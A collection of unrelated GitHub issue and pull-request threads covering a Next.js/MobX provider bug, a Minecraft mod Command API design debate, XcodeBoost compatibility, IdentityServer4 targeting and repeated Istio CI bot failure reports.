
This worked before:
import React from 'react'
import {Provider, inject, observer, useStaticRendering} from 'mobx-react'
import State from './state'

useStaticRendering(!process.browser)

let clientState = null

const getState = initialState => {
  if (process.browser) {
    return clientState || (clientState = new State(initialState))
  } else {
    return initialState || new State()
  }
}

export const withState = Component => {
  return inject('state')(observer(Component))
}

export const withStateProvider = Component => {
  Component = withState(Component)

  return class StateProvider extends React.Component {

    static async getInitialProps(ctx) {
      const initialState = ctx.state = getState()
      const props = await Component.getInitialProps(ctx)
      return {initialState, ...props}
    }

    constructor(props) {
      super(props)
      this.initialState = getState(props.initialState)
    }

    render() {
      const {initialState, ...initialProps} = this.props

      return (
        <Provider state={this.initialState}>
          <Component {...initialProps} />
        </Provider>
      )
    }
  }
}

pages/index.js
import {withStateProvider} from '../client/with-state'

@withStateProvider
export default class IndexPage extends React.Component {

  static async getInitialProps({state}) {
    state.title = `Homepage - ${state.app.title}`
  }

  render() {
    const {state} = this.props

    return (
      <div>
        {state.title}
      </div>
    )
  }
}

Yep I am getting the exact same thing. If I revert to beta 18 all is well.

Some more information. I checked the context of the component I'm injecting and it does see the mobxStores. The stores do show up properly on the server side in my case. However the injector sees no stores when it tries to load it up on the client side.

This issue remains in beta 20.

i just wanted to confirm this issue: for me it even occurs when running the official https://github.com/zeit/next.js/blob/master/examples/with-mobx/components/Page.js demo with .19 and .20

I'm not using MobX, but I suspect that the error I'm having might be related. Beta 19 or higher gives me
TypeError: Cannot read property 'position' of undefined
I'm using other libraries which use providers, namely Redux, Styletron and I18Next. So maybe the error has something to do with React Context which is commonly used by providers.

How to fix this error?

I just tried this again with the latest beta.22 and the problem is there still. The app loads for a second but then throws the error.

After more research it seems that my problem might be unrelated, thou the common point still stands that it starts from beta 19. My error only shows up when Redux DevTools are installed and DevTools.instrument() is called on the middleware.

I'm having this problem with beta.23 in dev mode but not in production mode

This problem is also in beta.24.
For me the problem only happens in dev mode but not in prod mode.

The problem went away after I disable the React Developer Tool.

Is that enabled by default? I didn't enable that
On Tue, Feb 7, 2017 at 20:03 Ming Fang<EMAIL_ADDRESS>wrote:

The problem went away after I disable the React Developer Tool.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/zeit/next.js/issues/899#issuecomment-278196517, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAe3MXKKbP5JQyX53Js1mnYXEToWK8NPks5raRRxgaJpZM4LvzSd
.

@arunoda don't know if you are already working on this? I gave it a brief look as it's kind of sad to stick on beta-18 :) and could pinpoint it to https://github.com/zeit/next.js/compare/2.0.0-beta.18...2.0.0-beta.19#diff-bb2506ef56bf4dcd5dc9d4ab106d2460 <- when reverting this file things seem to work fine again. I'd be glad if someone looks into it as I don't know anything about the monkeypatching there

I think we need to do something about this.

I still get Error..

People have been working on this issue as mentioned in the most recent comments. There is a pull request that supposedly fixes this issue, which is also mentioned in previous comments. I have no idea regarding time frame, but I'm sure it will be merged at some point. If you 'need' the fix now and can't wait for a merge, then I imagine you could try the pull request repo.

@vuldin  I'm sorry I don't know i'm newbie. I only see 3 day ago and test it
sorry for my comment

@sakulstra  i try it myself ,and i find the error has gone. nextjs version is 2.4


New release?

Just wondering if we could get a new release. There have been 7 merged PRs since the last release on July 29.

Done: https://github.com/sindresorhus/anatine/releases/tag/1.0.0


Command API

Discussion about a Command API, features it should have and how they should be implemented.
Some ideas:

Add an event for registering commands.
Utilities for parsing custom command arguments (for 1.12-).
Maybe even going so far as to implement Brigadier in 1.12- and allow mods to use that?

Maybe adding a framework for client-side commands?

Maybe adding a framework for client-side commands?

imo should have ability to define if a commend only exists on client side, only on server side, or allow on both, but being able to make a client side command is definitely a big plus

or allow on both

what would that mean in practice, that the command runs both client-side and server-side?

or allow on both

what would that mean in practice, that the command runs both client-side and server-side?

if command available on server, run on server, otherwise, run on client, useful for some basic commands like simulations

or allow on both

what would that mean in practice, that the command runs both client-side and server-side?

if command available on server, run on server, otherwise, run on client, useful for some basic commands like simulations

I see. I guess we need some communication between the client and server then, to sync which commands are available on each side. Time for a Networking API!

or allow on both

what would that mean in practice, that the command runs both client-side and server-side?

if command available on server, run on server, otherwise, run on client, useful for some basic commands like simulations

I see. I guess we need some communication between the client and server then, to sync which commands are available on each side. Time for a Networking API!

don't the server send client which commands it can do ?

don't the server send client which commands it can do ?

In 1.13 it does, but in 1.12 and below the client has no idea which commands are available.

don't the server send client which commands it can do ?

In 1.13 it does, but in 1.12 and below the client has no idea which commands are available.

fair, just client and server is probably best then

don't the server send client which commands it can do ?

In 1.13 it does, but in 1.12 and below the client has no idea which commands are available.

fair, just client and server is probably best then

I think we can do all 3, we need to communicate between the client and server anyway, in case both the client and server define a command with the same name.

don't the server send client which commands it can do ?

In 1.13 it does, but in 1.12 and below the client has no idea which commands are available.

fair, just client and server is probably best then

I think we can do all 3, we need to communicate between the client and server anyway, in case both the client and server define a command with the same name.

i'd argue that in this case the client should have its command handled, and the server never gets the command. It's a pretty rare occurance, and if it does happen, two commands having the same name will likely to similar things.

If we choose to implement Brigadier for 1.12 and below, I think we should leave all Vanilla commands untouched. Porting them all would introduce subtle differences in how they are parsed, which we should avoid imo. This does make it a little trickier as we'll have to run both command systems in tandem. We'll have to figure out things like command suggestions and syntax highlighting.

If we choose to implement Brigadier for 1.12 and below, I think we should leave all Vanilla commands untouched. Porting them all would introduce subtle differences in how they are parsed, which we should avoid imo. This does make it a little trickier as we'll have to run both command systems in tandem. We'll have to figure out things like command suggestions and syntax highlighting.

command suggestions / autocomplete should just be tree traversal no ?

If we choose to implement Brigadier for 1.12 and below, I think we should leave all Vanilla commands untouched. Porting them all would introduce subtle differences in how they are parsed, which we should avoid imo. This does make it a little trickier as we'll have to run both command systems in tandem. We'll have to figure out things like command suggestions and syntax highlighting.

command suggestions / autocomplete should just be tree traversal no ?

we need to combine both Vanilla suggestions and our custom Brigadier suggestions somehow, maybe add the Vanilla commands to the Brigadier tree but only for validation and suggestions but not for parsing? idk

If we choose to implement Brigadier for 1.12 and below, I think we should leave all Vanilla commands untouched. Porting them all would introduce subtle differences in how they are parsed, which we should avoid imo. This does make it a little trickier as we'll have to run both command systems in tandem. We'll have to figure out things like command suggestions and syntax highlighting.

command suggestions / autocomplete should just be tree traversal no ?

we need to combine both Vanilla suggestions and our custom Brigadier suggestions somehow, maybe add the Vanilla commands to the Brigadier tree but only for validation and suggestions but not for parsing? idk

the suggestions are parsed right from the command tree structure though ? i don't see how there's a problem with parsing

If we choose to implement Brigadier for 1.12 and below, I think we should leave all Vanilla commands untouched. Porting them all would introduce subtle differences in how they are parsed, which we should avoid imo. This does make it a little trickier as we'll have to run both command systems in tandem. We'll have to figure out things like command suggestions and syntax highlighting.

command suggestions / autocomplete should just be tree traversal no ?

we need to combine both Vanilla suggestions and our custom Brigadier suggestions somehow, maybe add the Vanilla commands to the Brigadier tree but only for validation and suggestions but not for parsing? idk

the suggestions are parsed right from the command tree structure though ? i don't see how there's a problem with parsing

I want to avoid running all the vanilla commands through Brigadier, so as to avoid introducing different behavior to Vanilla. So basically leave the Vanilla commands untouched and add custom Brigadier commands on top of that. That way the vanilla commands are not part of the Brigadier command tree.

If we choose to implement Brigadier for 1.12 and below, I think we should leave all Vanilla commands untouched. Porting them all would introduce subtle differences in how they are parsed, which we should avoid imo. This does make it a little trickier as we'll have to run both command systems in tandem. We'll have to figure out things like command suggestions and syntax highlighting.

command suggestions / autocomplete should just be tree traversal no ?

we need to combine both Vanilla suggestions and our custom Brigadier suggestions somehow, maybe add the Vanilla commands to the Brigadier tree but only for validation and suggestions but not for parsing? idk

the suggestions are parsed right from the command tree structure though ? i don't see how there's a problem with parsing

I want to avoid running all the vanilla commands through Brigadier, so as to avoid introducing different behavior to Vanilla. So basically leave the Vanilla commands untouched and add custom Brigadier commands on top of that. That way the vanilla commands are not part of the Brigadier command tree.

yes ? that's what i said, we can just have an abstract class extending command and having default for all that and we just define the command tree ?

If we choose to implement Brigadier for 1.12 and below, I think we should leave all Vanilla commands untouched. Porting them all would introduce subtle differences in how they are parsed, which we should avoid imo. This does make it a little trickier as we'll have to run both command systems in tandem. We'll have to figure out things like command suggestions and syntax highlighting.

command suggestions / autocomplete should just be tree traversal no ?

we need to combine both Vanilla suggestions and our custom Brigadier suggestions somehow, maybe add the Vanilla commands to the Brigadier tree but only for validation and suggestions but not for parsing? idk

the suggestions are parsed right from the command tree structure though ? i don't see how there's a problem with parsing

I want to avoid running all the vanilla commands through Brigadier, so as to avoid introducing different behavior to Vanilla. So basically leave the Vanilla commands untouched and add custom Brigadier commands on top of that. That way the vanilla commands are not part of the Brigadier command tree.

yes ? that's what i said, we can just have an abstract class extending command and having default for all that and we just define the command tree ?

Sorry, I don't understand. Can you elaborate a bit more?

the command tree would essentially just replace the implementation of the different commands, not replace the command class itself, some extra boilerplate, but i doubt it really matters that much to write a few extra lines of code in case the entire command system is more sane

without any idea of how Brigadier works:
couldn't you try parsing the command with Brigadier, and if it fails because it doesn't exist, catch that and let vanilla handle the rest?
Or even better: vanilla has definitely something like a Set<String> or Map<String, ? super Command> storing the command names, so you can figure out if there's a vanilla command that would match (commandString.startsWith(vanillaCommandName + " ")), and if that is true then don't let Brigadier handle the command. This aproach would also not break other command registered in the "old" way, via mixin and registering it.

the command tree would essentially just replace the implementation of the different commands, not replace the command class itself, some extra boilerplate, but i doubt it really matters that much to write a few extra lines of code in case the entire command system is more sane

So if I understand correctly, the Brigadier tree would contain all Vanilla commands as well as any commands provided by mods, but Vanilla command execution would still be handled by the Vanilla command classes?

Or even better: vanilla has definitely something like a Set<String> or Map<String, ? super Command> storing the command names, so you can figure out if there's a vanilla command that would match (commandString.startsWith(vanillaCommandName + " ")), and if that is true then don't let Brigadier handle the command. This aproach would also not break other command registered in the "old" way, via mixin and registering it.

That's roughly how I envisioned it I think. Combined with the idea above we could then rely entirely on the Brigadier tree for command suggestions and syntax highlighting. Although I think there is an argument to be made we should also do Vanilla-style autocomplete in addition to the Brigadier provided suggestions. This is because the Brigadier provided suggestions require both the server and client to have a copy of the command tree. If we want to keep the modded server compatible with Vanilla clients we need to be able to default back to the Vanilla implementation for autocomplete even for custom commands.

the command tree would essentially just replace the implementation of the different commands, not replace the command class itself, some extra boilerplate, but i doubt it really matters that much to write a few extra lines of code in case the entire command system is more sane

So if I understand correctly, the Brigadier tree would contain all Vanilla commands as well as any commands provided by mods, but Vanilla command execution would still be handled by the Vanilla command classes?

that is completely unnecessary, we can just let all vanilla commands untouched and have the command tree implementations directly called inside the command classes, just like we would in vanilla, as boilerplate, rather than have to write the logic directly.

Or even better: vanilla has definitely something like a Set<String> or Map<String, ? super Command> storing the command names, so you can figure out if there's a vanilla command that would match (commandString.startsWith(vanillaCommandName + " ")), and if that is true then don't let Brigadier handle the command. This aproach would also not break other command registered in the "old" way, via mixin and registering it.

That's roughly how I envisioned it I think. Combined with the idea above we could then rely entirely on the Brigadier tree for command suggestions and syntax highlighting. Although I think there is an argument to be made we should also do Vanilla-style autocomplete in addition to the Brigadier provided suggestions. This is because the Brigadier provided suggestions require both the server and client to have a copy of the command tree. If we want to keep the modded server compatible with Vanilla clients we need to be able to default back to the Vanilla implementation for autocomplete even for custom commands.

Brigadier doesn't store anything. Brigadier doesn't change anything. There is nothing here that is of any issue of just incorporating a brigadier like api. Vanilla clients will request autocomplete to servers (just tested with tapestry, i don't have tapestry on my client, and i get tapestry commands autocomplete, do need to tab, but that's necessary pre 1.13 anyway). We don't need to work around vanilla commands at all, we can just use the exact same mechanism as vanilla commands, and everything will just work out, it's the same structure : we have a class with command implementation and we register it.

Huh I think I see what you mean now. Your idea is to implement a Brigadier-like tree within the old command system, thus a custom command just extends the Command class but stores a Brigadier-like tree for its own command structure. Is that right?

yes, would make it much easier imo, going out of our way to make it more similar to 1.13 system isn't worth it imo

This is different from how I envisioned it. My idea was to implement the 1.13 system alongside the old system. So when you register a Brigadier command it's not wrapped inside the old system or anything like that, but effectively the same as you would do it in 1.13. When running a command, the command handler would first check if an old-style command of that name exists, and if so, run that, and otherwise call the Brigadier dispatcher to run the command.

would work too, but i am not sure if it's worth the effort

Huh I think I see what you mean now. Your idea is to implement a Brigadier-like tree within the old command system, thus a custom command just extends the Command class but stores a Brigadier-like tree for its own command structure. Is that right?

yes, would make it much easier imo, going out of our way to make it more similar to 1.13 system isn't worth it imo

That's why I thought we'd just plop the Brigadier system alongside the old system. It seems to me that developing a system like it within the old system is more work, especially when Brigadier can be used as is and a lot of the work for the Minecraft-specific argument types and serialization has already been done for us in 1.13.

Huh I think I see what you mean now. Your idea is to implement a Brigadier-like tree within the old command system, thus a custom command just extends the Command class but stores a Brigadier-like tree for its own command structure. Is that right?

yes, would make it much easier imo, going out of our way to make it more similar to 1.13 system isn't worth it imo

That's why I thought we'd just plop the Brigadier system alongside the old system. It seems to me that developing a system like it within the old system is more work, especially when Brigadier can be used as is and a lot of the work for the Minecraft-specific argument types and serialization has already been done for us in 1.13.

wouldn't brigadier itself need some tweaking to work in older versions though ?

wouldn't brigadier itself need some tweaking to work in older versions though ?

I don't think so, afaik it's a completely stand-alone library. The Minecraft-specific argument types will likely need tweaking from their 1.13 implementations, though, for sure.


Xcode 7 reinstall needed after each startup

As title goes. After each xcode restart, reinstall of this plugin is needed.

Sorry for the delay. This is most probably due to not having the latest Xcode installed (or at least a version of Xcode that XcodeBoost explicitly lists as supported). I bet you installed the plugin with Alcatraz, which if I remember well dynamically load plugins regardless of their declared compatibility UUIDs.
With this setup, Alcatraz would inject the plugin in the running Xcode on install (while it's still running), then when Xcode is restarted it won't load the plugin because it doesn't declare the right compatibility UUID.
In essence, just install the latest Xcode, or a version that has its compatibility UUID declared as supported by XcodeBoost and everything should work properly.

Hey, so new xcode released. How I can make Xcodeboost to work with new version. Your pluging is addictive :)

I'm glad the plugin is useful!
I just added the Xcode 7.2 compatibility UUID to XcodeBoost. You should just reinstall XcodeBoost from Alcatraz and it should work.
I'll gladly accept pull requests adding compatibility UUIDs. You can obtain the current Xcode compatibility UUID by looking at the system.log file in Console.app. Here's an example for the just-added UUID: 3a059363ee50f4d92fd93d9b93a6a72284942b85

Many thanks for that tutorial, to be honest I was looking for it :+1:


Need Help Setting Up Local Plutus Playground: Seeking Documentation or Guidance

Hello,
I'm eager to set up a local Plutus Playground environment, but it appears that I can't find the documentation or relevant resources. Could someone provide me with a helpful hint or guide me in the right direction? I would greatly appreciate it.
Thank you!

The Plutus Playground was deprecated and removed some years ago, unfortunately.


3.0 Preview versions use .NETCoreApp 3.0 instead of netstandard2.1

Hi,
Just switched to netcore 3.0 preview to give it a try and found out that my class libraries referencing

IdentityServer4.EntityFramework
IdentityServer4.EntityFramework.Storage

do not compile. I noticed this issue from version 2.0 with similar problem. Is this targeting intended to stick from now on? and if it is not, is that going to fix/last until 3.0 stable release?

Does this decision has anything to do with this?

Yes, @leastprivilege knows more of the details, but yes I think so.

ASP.NET Core 3 targets netcore3 only. Not sure where EF will land in the end. It seems they are targeting netstandard2.1 right now. If that's the case for RTM, we can do this as well.


Custom rule for all inputs in a div

I'm trying to apply the following logic:

Inputs in a specific div are NOT required for successful form validation
BUT if any in those div are filled in, then ALL must be completed for successful form validation

I feel like this is very easy using a boolean combination of :filled and :blank to the effect of (pseudocode):
if ( number of :filled in div > 0) and (number of :blank in div >0) then return fail
...
...
..
But looking around online there doesn't seem to be a  DRY way to apply that rule to all inputs in the div at once.
Am I missing something?

See rules and depends on http://jqueryvalidation.org/validate/

I will close this issue for now. Feel free to ask further questions or discuss additional points nevertheless here.


Transition animation links

Modifications done:

[x] the Nav links
[x] the links in the Footer
[x] the links in the Open Source Section found on all the pages
[x] the cards in the Careers in Tech Section found on the home and careers page
[x] the resource links found in all the sections
[x] the pink links in the paragraphs

Thank you for your contribution, once the change is made, your pul request will be merged.


Re-Add support for shift-jis encoding

Description of Changes
Last merge from master reverted support for shift-jis encoding as we were importing that file from OTel in v2. Added a wrapper struct to wrap the OTel EncodingConfig so we can specify encodings not supported by OTel.
Please check that the PR fulfills these requirements

[x] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)
[ ] Add a changelog entry (for non-trivial bug fixes / features)
[ ] CI passes

Windows test failures were not related.


refactor code, use correct branch, create release daily

for release pipelines. use correct branch, create daily for release branches

@rkpagadala: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
69bb726f30ad7f496cdb672330ffc388081c5ae4
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
69bb726f30ad7f496cdb672330ffc388081c5ae4
link
/test istio-unit-tests

prow/e2e-bookInfoTests-v1alpha3.sh
69bb726f30ad7f496cdb672330ffc388081c5ae4
link
/test e2e-bookInfo-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
69bb726f30ad7f496cdb672330ffc388081c5ae4
link
/test istio-unit-tests

prow/e2e-bookInfoTests-v1alpha3.sh
69bb726f30ad7f496cdb672330ffc388081c5ae4
link
/test e2e-bookInfo-envoyv2-v1alpha3

prow/istio-pilot-e2e.sh
69bb726f30ad7f496cdb672330ffc388081c5ae4
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
69bb726f30ad7f496cdb672330ffc388081c5ae4
link
/test e2e-bookInfo-envoyv2-v1alpha3

prow/istio-pilot-e2e.sh
69bb726f30ad7f496cdb672330ffc388081c5ae4
link
/test istio-pilot-e2e

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
e1bf7d5fe45b6edb68ed1268cfd834a50fa040c9
link
/test istio-pilot-e2e-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: rkpagadala
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

release/pipeline/OWNERS [rkpagadala]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
e1bf7d5fe45b6edb68ed1268cfd834a50fa040c9
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests-v1alpha3.sh
e1bf7d5fe45b6edb68ed1268cfd834a50fa040c9
link
/test e2e-bookInfo-envoyv2-v1alpha3

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
7d04d97cbc79c84dddc67fa1918f1ea72632672f
link
/test istio-pilot-e2e-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
e1bf7d5fe45b6edb68ed1268cfd834a50fa040c9
link
/test e2e-bookInfo-envoyv2-v1alpha3

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
7d04d97cbc79c84dddc67fa1918f1ea72632672f
link
/test istio-pilot-e2e-envoyv2-v1alpha3

prow/istio-pilot-e2e.sh
7d04d97cbc79c84dddc67fa1918f1ea72632672f
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
7d04d97cbc79c84dddc67fa1918f1ea72632672f
link
/test istio-pilot-e2e-envoyv2-v1alpha3

prow/istio-pilot-e2e.sh
7d04d97cbc79c84dddc67fa1918f1ea72632672f
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests-v1alpha3.sh
7d04d97cbc79c84dddc67fa1918f1ea72632672f
link
/test e2e-bookInfo-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
7d04d97cbc79c84dddc67fa1918f1ea72632672f
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests-v1alpha3.sh
7d04d97cbc79c84dddc67fa1918f1ea72632672f
link
/test e2e-bookInfo-envoyv2-v1alpha3

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test istio-pilot-e2e-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
7d04d97cbc79c84dddc67fa1918f1ea72632672f
link
/test e2e-bookInfo-envoyv2-v1alpha3

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test istio-pilot-e2e-envoyv2-v1alpha3

prow/istio-pilot-e2e.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test istio-pilot-e2e-envoyv2-v1alpha3

prow/istio-pilot-e2e.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests-v1alpha3.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test e2e-bookInfo-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test istio-pilot-e2e-envoyv2-v1alpha3

prow/istio-pilot-e2e.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests-v1alpha3.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test e2e-bookInfo-envoyv2-v1alpha3

prow/e2e-bookInfoTests.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test e2e-bookInfo

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests-v1alpha3.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test e2e-bookInfo-envoyv2-v1alpha3

prow/e2e-bookInfoTests.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test e2e-bookInfo

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
c8f9f2edbf776ca081fec5242fec2260ebe9e1ac
link
/test istio-pilot-e2e-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test e2e-bookInfo-envoyv2-v1alpha3

prow/e2e-bookInfoTests.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test e2e-bookInfo

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
c8f9f2edbf776ca081fec5242fec2260ebe9e1ac
link
/test istio-pilot-e2e-envoyv2-v1alpha3

prow/istio-pilot-e2e.sh
c8f9f2edbf776ca081fec5242fec2260ebe9e1ac
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test e2e-bookInfo-envoyv2-v1alpha3

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
c8f9f2edbf776ca081fec5242fec2260ebe9e1ac
link
/test istio-pilot-e2e-envoyv2-v1alpha3

prow/istio-pilot-e2e.sh
c8f9f2edbf776ca081fec5242fec2260ebe9e1ac
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
c8f9f2edbf776ca081fec5242fec2260ebe9e1ac
link
/test e2e-bookInfo

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
874386b7e25db77626eab0790dc0110b4d1d722e
link
/test e2e-bookInfo-envoyv2-v1alpha3

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
c8f9f2edbf776ca081fec5242fec2260ebe9e1ac
link
/test istio-pilot-e2e-envoyv2-v1alpha3

prow/istio-pilot-e2e.sh
c8f9f2edbf776ca081fec5242fec2260ebe9e1ac
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
c8f9f2edbf776ca081fec5242fec2260ebe9e1ac
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
c8f9f2edbf776ca081fec5242fec2260ebe9e1ac
link
/test e2e-simple

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
04c9bf007c0ad199d158cce180e28d45a7a6ac59
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
b2c86e12d6e4d22a78bbf0fecc2d3c455a0896ae
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@hklai PTAL

@rkpagadala: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
/test e2e-bookInfo

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
/test e2e-bookInfo

prow/istio-unit-tests.sh
349f6a186a8e2f2314275d2b9d6bacede2310781
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
159a7c201427f71652cfb0d28998615c55929b03
link
/test e2e-simple

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
